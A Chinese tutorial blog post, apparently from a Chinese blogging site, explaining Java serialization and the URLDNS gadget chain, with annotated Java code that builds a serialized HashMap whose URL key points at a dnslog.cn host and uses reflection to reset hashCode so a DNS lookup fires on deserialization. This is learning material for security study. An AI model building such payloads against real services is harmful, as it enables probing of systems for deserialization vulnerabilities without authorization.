URLDNS链学习

首先我们先理解一下序列化与反序列化,我先贴出三段代码,大家可以尝试先体验一下。

首先我们先构造一个Person类,其实跟这条链没什么关系,主要涉及序列化

点击查看代码
// 引入 Java 的 Serializable 接口,这是必需的,以便该类的对象可以被序列化和反序列化。
import java.io.Serializable;
// 定义一个公开的类 Person,实现了 Serializable 接口。
// 实现 Serializable 接口是告诉 Java 这个类的对象可以被序列化(转换为一系列字节)和反序列化(从字节序列恢复为对象)。
public class Person implements Serializable {
// 定义私有变量 name,类型为 String。私有的意思是这个变量只能在本类内部被访问。
private String name;
// 定义私有变量 age,类型为 int。
private int age; // 定义无参数的构造函数。如果没有其他构造函数,Java会自动提供这样一个无参数的构造函数。
// 这里显式定义是为了清楚表明这个类有一个无参数的构造选项。
public Person() {
} // 定义一个带有两个参数的构造函数,接收一个字符串 name 和一个整数 age。
// 这个构造函数用来创建一个具有特定名字和年龄的 Person 对象。
public Person(String name, int age) {
this.name = name; // 将传入的参数 name 赋值给成员变量 name。
this.age = age; // 将传入的参数 age 赋值给成员变量 age。
} // 覆盖了 Object 类的 toString 方法。
// toString 方法用于返回对象的字符串表示形式,通常用于调试和日志记录。
@Override
public String toString() {
return "Person{" +
"name = " + name + '\'' + // 将成员变量 name 加入到返回的字符串中。
", age = " + age + // 将成员变量 age 加入到返回的字符串中。
'}';
}
}

序列化类

序列化: 在 Java 中,序列化是通过 ObjectOutputStream 类实现的。当调用 writeObject() 方法时,它会检查传入的对象是否实现了 Serializable 接口。如果实现了,Java 序列化机制就会自动处理该对象及其所有的子对象的序列化过程,并将其转换成一个连续的字节流,然后将这些字节写入到指定的输出流(在本例中是文件 "ser.bin")。

点击查看代码
// 引入必要的 Java 标准库,以便进行文件操作、网络通信等。
import java.io.*;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.HashMap;
import java.util.Map; // 定义一个名为 SerializationTest 的公开类,用于测试序列化。
public class SerializationTest {
// 定义一个静态方法 serialize,用于序列化任意对象。
// 方法接收一个 Object 类型的参数 obj,表示要被序列化的对象。
public static void serialize(Object obj) throws IOException {
// 创建一个 ObjectOutputStream 对象 oos,它被连接到一个名为 "ser.bin" 的文件的 FileOutputStream。
// ObjectOutputStream 用于将对象的序列化表示写入到输出流中。
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
// 使用 ObjectOutputStream 的 writeObject 方法将 obj 对象写入到前面创建的文件中。
// 这是实际执行序列化操作的地方,对象状态被转化为字节序列并保存。
oos.writeObject(obj);
} // 定义 main 方法,它是程序的入口点。
public static void main(String[] args) throws Exception {
// 创建一个 Person 对象,名字为 "aa",年龄为 22。
Person person = new Person("aa", 22); // 调用前面定义的 serialize 方法,传入 person 对象进行序列化。
// 该调用会将 person 对象的状态保存到名为 "ser.bin" 的文件中。
serialize(person);
}
}

反序列化类

反序列化: 在 Java 中,反序列化是通过 ObjectInputStream 类实现的。当调用 readObject() 方法时,Java 反序列化机制从输入流中读取之前序列化的字节流,将其转换回原来的对象,并确保所有对象的类型信息和数据都被正确恢复。

点击查看代码
// 引入必要的 Java 输入输出库,这些库提供了文件操作和对象输入输出流的功能。
import java.io.*;
import java.io.IOException;
import java.io.ObjectInputStream; // 定义一个名为 UnserializeTest 的公开类,用于测试反序列化。
public class UnserializeTest {
// 定义一个静态方法 unserialize,用于从文件中反序列化对象。
// 方法接收一个字符串参数 Filename,表示包含序列化对象数据的文件名。
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
// 创建一个 ObjectInputStream 对象 ois,它被连接到一个名为 Filename 的文件的 FileInputStream。
// ObjectInputStream 用于从输入流中读取对象的序列化表示。
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
// 使用 ObjectInputStream 的 readObject 方法读取并返回反序列化的对象。
// 这是实际执行反序列化操作的地方,字节序列被转化回 Java 对象。
Object obj = ois.readObject();
return obj;
} // 定义 main 方法,它是程序的入口点。
public static void main(String[] args) throws Exception {
// 调用 unserialize 方法,从文件 "ser.bin" 中反序列化对象。
// 将返回的 Object 强制类型转换为 Person 类型。
Person person = (Person) unserialize("ser.bin");
// 打印反序列化得到的 Person 对象。
// 调用 Person 类的 toString 方法,显示对象的详细信息。
System.out.println(person);
}
}

下面我们来讲一下DNS链

点击查看代码
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()

代码主要是先找到URL类里面的hashCode()方法

点击查看代码
// 定义一个公共的同步方法 hashCode,返回一个整型值。
// 'synchronized' 关键字确保在同一时刻只有一个线程可以执行这个方法,防止多线程环境下的数据竞争。
public synchronized int hashCode() {
// 如果实例变量 hashCode 的值不是 -1,说明之前已经计算过哈希码,并缓存了结果。
// 这是一种提高效率的做法,避免重复计算哈希值。
if (hashCode != -1)
return hashCode; // 直接返回已经计算好的哈希码。 // 如果 hashCode 是 -1,说明还没有计算过哈希码,需要计算。
// 调用 handler 的 hashCode 方法来计算当前对象的哈希码。
// 这里的 handler 是一个假定存在的字段或者变量,可能是这个类的一个属性,负责具体的哈希计算逻辑。
hashCode = handler.hashCode(this); // 返回新计算的哈希码。
return hashCode;
}

然后我们跟进这里的hashCode

走到URLStreamHandler这个类中,看到hashCode这个方法,发现getHostAddress这个方法,实际上意思就是根据域名来获取地址

获取主机的 IP 地址。如果主机字段为空或 DNS 解析失败,将返回 null。

这个链其实就是两部分的内容,首先是,HashMap方法里面调用了hashCode()方法, 通过这个hashCode()方法,就可以走到URL这里的hashCode()方法。

这个时候我们就可以写一下代码,尝试执行以下请求DNSlog

点击查看代码
import java.io.*;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.HashMap;
import java.util.Map; public class SerializationTest {
// 序列化方法
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
} public static void main(String[] args) throws Exception {
Person person = new Person("aa", 22);
HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
hashmap.put(new URL(""),1);
serialize(person);
}
}

我们跟进这个URL类,看一卡它的构造函数是怎么写的,然后我们就知道放什么了

这里的意思是放一个链接进行就行,所以上面代码中URL传参,就可以放一个DNSLOG进去

现在我们尝试去进行序列化,然后在反序列化的时候,使其发送请求,看是否可以

进行序列化,发现已经请求了DNSlog

为什么在没有进行反序列化的时候,就可以发送请求,我们跟进put方法看一下

点击查看代码
/**
* 将指定的键和值添加到这个map中。
*
* @param key 要与指定值关联的键。
* @param value 与指定键关联的值。
* @return 如果该键之前已经有对应的值,则返回旧值;否则返回null。
*/
public V put(K key, V value) {
// 调用putVal方法实现键值对的添加。hash(key)计算键的哈希值。
// 参数说明:
// - hash(key): 根据键计算出的哈希值,用于确定键值对在map中的存储位置。
// - key: 要添加到map中的键。
// - value: 要与键关联的值。
// - false: 表示不是用来替代整个map的。
// - true: 表明结构(buckets)可能需要改变(如rehashing、扩容等)。
return putVal(hash(key), key, value, false, true);
}

意思就是为了确保键值对的唯一,在HashMap这个类中,已经调用了hash方法,转而调用了hashCode方法,然后就在未序列化之前发送了请求。

为什么呢,因为在URL类的hashCode()方法中,有一个判断就是,意思前面也讲过,就是如果hashCode不等于-1,就直接返回,不会执行下面的代码

点击查看代码
if (hashCode != -1)
return hashCode;

hashCode只有在初始化的时候才是-1

但是我们在代码中去调用put方法的时候,就已经改变了值,所以hashCode在序列化的时候就已经不是-1了,所以在进行反序列化,就不会执行。

所以我们就要尝试进行

我们在第一次序列化的时候,不想让URL发起请求,如果当这个hash Code当时已经不是-1了,这样我们就不会在put的时候发起请求了

所以我们需要在反序列化之前,把hashCode改回来

直接看代码,通过反射

点击查看代码
 public static void main(String[] args) throws Exception {
//Person person = new Person("aa", 22);
HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
//这里不要发起请求,把url对象改成不是-1
URL url = new URL("http://rdpr0d.dnslog.cn\n");
Class c = url.getClass();
Field hashcodefield = c.getDeclaredField("hashCode");
hashcodefield.setAccessible(true);
hashcodefield.set(url,1234);
hashmap.put(url,1);
//这里把hashCode()改回-1,改回hashCode的值为-1
//通过反射,改变已有对象的属性
serialize(hashmap);
}
}

无DNslog回显,证明已经修改了hashCode的值不等于-1.

然后我们将代码下面新增一行,将hashCode改为-1

在进行反序列化,可以看到dnslog已经成功记录到了

点击查看代码
import java.io.*;
import java.lang.reflect.Field;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.HashMap;
import java.util.Map; public class SerializationTest {
// 序列化方法
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
} public static void main(String[] args) throws Exception {
//Person person = new Person("aa", 22);
HashMap<URL,Integer> hashmap = new HashMap<URL,Integer>();
//这里不要发起请求,把url对象改成不是-1
URL url = new URL("http://5cv1ga.dnslog.cn\n");
Class c = url.getClass();
Field hashcodefield = c.getDeclaredField("hashCode");
hashcodefield.setAccessible(true);
hashcodefield.set(url,1234);
hashmap.put(url,1);
//这里把hashCode()改回-1,改回hashCode的值为-1
//通过反射,改变已有对象的属性
hashcodefield.set(url,-1);
serialize(hashmap);
}
}

在反序列化Debug后,在URL.hashCode处下个断点,可以发现已经成功改成-1了

证明赋值已经成功了,成功发起了DNS请求

简单的UrlDns链分析的更多相关文章

  1. Java安全之URLDNS链

    Java安全之URLDNS链 0x00 前言 在学习Java的反序列化漏洞的时候,就不得不学习他的一个利用链.很多刚刚入门的对于利用链这个词可能比较陌生.那么这里先来了解一下Java反序列化和反序列化 ...

  2. 一步一步学习FastJson1.2.47远程命令执行漏洞

    本文首发于先知:https://xz.aliyun.com/t/6914 漏洞分析 FastJson1.2.24 RCE 在分析1.2.47的RCE之前先对FastJson1.2.24版本中的RCE进 ...

  3. javascript中继承方式及优缺点(一)

    分别介绍原型链继承.call/apply继承(借用构造函数继承).组合继承.原型式继承.寄生式继承.寄生组合式继承 1. 原型链继承 核心:将父类的实例作为子类的原型 function SuperTy ...

  4. yso中URLDNS的pop链分析(重新分析整理)

    #发现之前对这个链关注的点有点问题,重新分析了一下 由于最近面试的过程中被问到了yso中URLDNS这个pop链的工作原理,当时面试因为是谈到shiro的怎么检测和怎么攻击时谈到了这个.其实在实战中用 ...

  5. [原创]基于SpringAOP开发的方法调用链分析框架

    新人熟悉项目必备工具!基于SpringAOP开发的一款方法调用链分析插件,简单到只需要一个注解,异步非阻塞,完美嵌入Spring Cloud.Dubbo项目!再也不用担心搞不懂项目! 很多新人进入一家 ...

  6. Linux内核通知链分析【转】

    转自:http://www.cnblogs.com/jason-lu/articles/2807758.html Linux内核通知链分析 1. 引言 Linux是单内核架构(monolithic k ...

  7. ThinkPHP v5.1.x POP 链分析

    环境:MacOS 10.13 MAMAP Prophp 7.0.33 + xdebugVisual Studio Code前言我所理解的 POP Chain:利用魔术方法并巧妙构造特殊属性调用一系列函 ...

  8. ysoserial分析【二】7u21和URLDNS

    目录 7u21 gadget链分析 hashCode绕过 参考 URLDNS 7u21 7u21中利用了TemplatesImpl来执行命令,结合动态代理.AnnotationInvocationHa ...

  9. Java安全之FastJson JdbcRowSetImpl 链分析

    Java安全之FastJson JdbcRowSetImpl 链分析 0x00 前言 续上文的Fastjson TemplatesImpl链分析,接着来学习JdbcRowSetImpl 利用链,Jdb ...

  10. YsoSerial 工具常用Payload分析之URLDNS

    本文假设你对Java基本数据结构.Java反序列化.高级特性(反射.动态代理)等有一定的了解. 背景 YsoSerial是一款反序列化利用的便捷工具,可以很方便的生成基于多种环境的反序列化EXP.ja ...

随机推荐

  1. 21 Educational Codeforces Round 136 (Rated for Div. 2)Knowledge Cards(树状数组、set、+思维、数字华容道)

    最开始猜了个结论错了,猜的是必须要有\(m+n-1\)个方格空着,这样才能保证任意一张牌能从起点到终点. 其实并不是,参考数字华容道,实际上是只要除了终点和起点,以及自身这个方格.我们只需要留出一个空 ...

  2. 表单验证 validate 两种 一种是callback配合外部变量,当同步用。第2中是 then async await 这种 真正$api也适用

    validateFormRealProcessLeft () { let ret = false this.$refs.xxx.validate((valid) => { if (valid) ...

  3. 关于wine乱码问题的解决方法

    在我的百度网盘里面,以及U盘备份,里面的Fonts.zip文件, 使用unzip Fonts.zip----linux指令 把这个文件夹里面的所有文件复制到wine的映射目录里面 cp Fonts/* ...

  4. 记Okhttp的拦截器导致app崩溃问题

    原文: 记Okhttp的拦截器导致app崩溃问题 - Stars-One的杂货小窝 app对接的后台接口,传参需要加密,获取数据需要解密,于是使用了拦截器去实现,然后发现以下问题: 即使在发起请求的那 ...

  5. FTP的安装和使用

    实验环境: windows server虚拟机一台 网络适配器:vmnet1 ip:192.168.1.220 一.安装FTP服务 打开服务器管理器 点击添加角色,勾IIS,点击下一步直到对话框消失 ...

  6. 虚拟DOM的理解与总结

    这里给大家分享我在网上总结出来的一些知识,希望对大家有所帮助 1. 对虚拟DOM的理解? 从本质上来说,Virtual Dom是一个JavaScript对象,通过对象的方式来表示DOM结构.将页面的状 ...

  7. docker相关命令杂理

    - 2020.11.16docker commit [OPTIONS] CONTAINER [REPOSITORY[:TAG]] #保存现有的镜像 # docker commit -a "r ...

  8. Oracle 已存在数据的大表 改 分区表

    创建表,插入测试数据 -- Create table create table LXW_TEST ( CDATE DATE, T1 NUMBER, T2 VARCHAR2(2) ) ; insert ...

  9. KingbaseES 的角色和权限管理

    KingbaseES使用角色的概念管理数据库访问权限.为了方便权限管理,用户可以建立多个角色,对角色进行授权和权限回收,并把角色授予其他用户. 数据库初始化时,会创建一个超级用户的角色:system( ...

  10. 16 JavaScript逗号运算符

    16 JavaScript逗号运算符 Python 逗号运算符一般用于组合多个表达式,其返回值是最后一个表达式的值,例如: function s(){ console.log(1), console. ...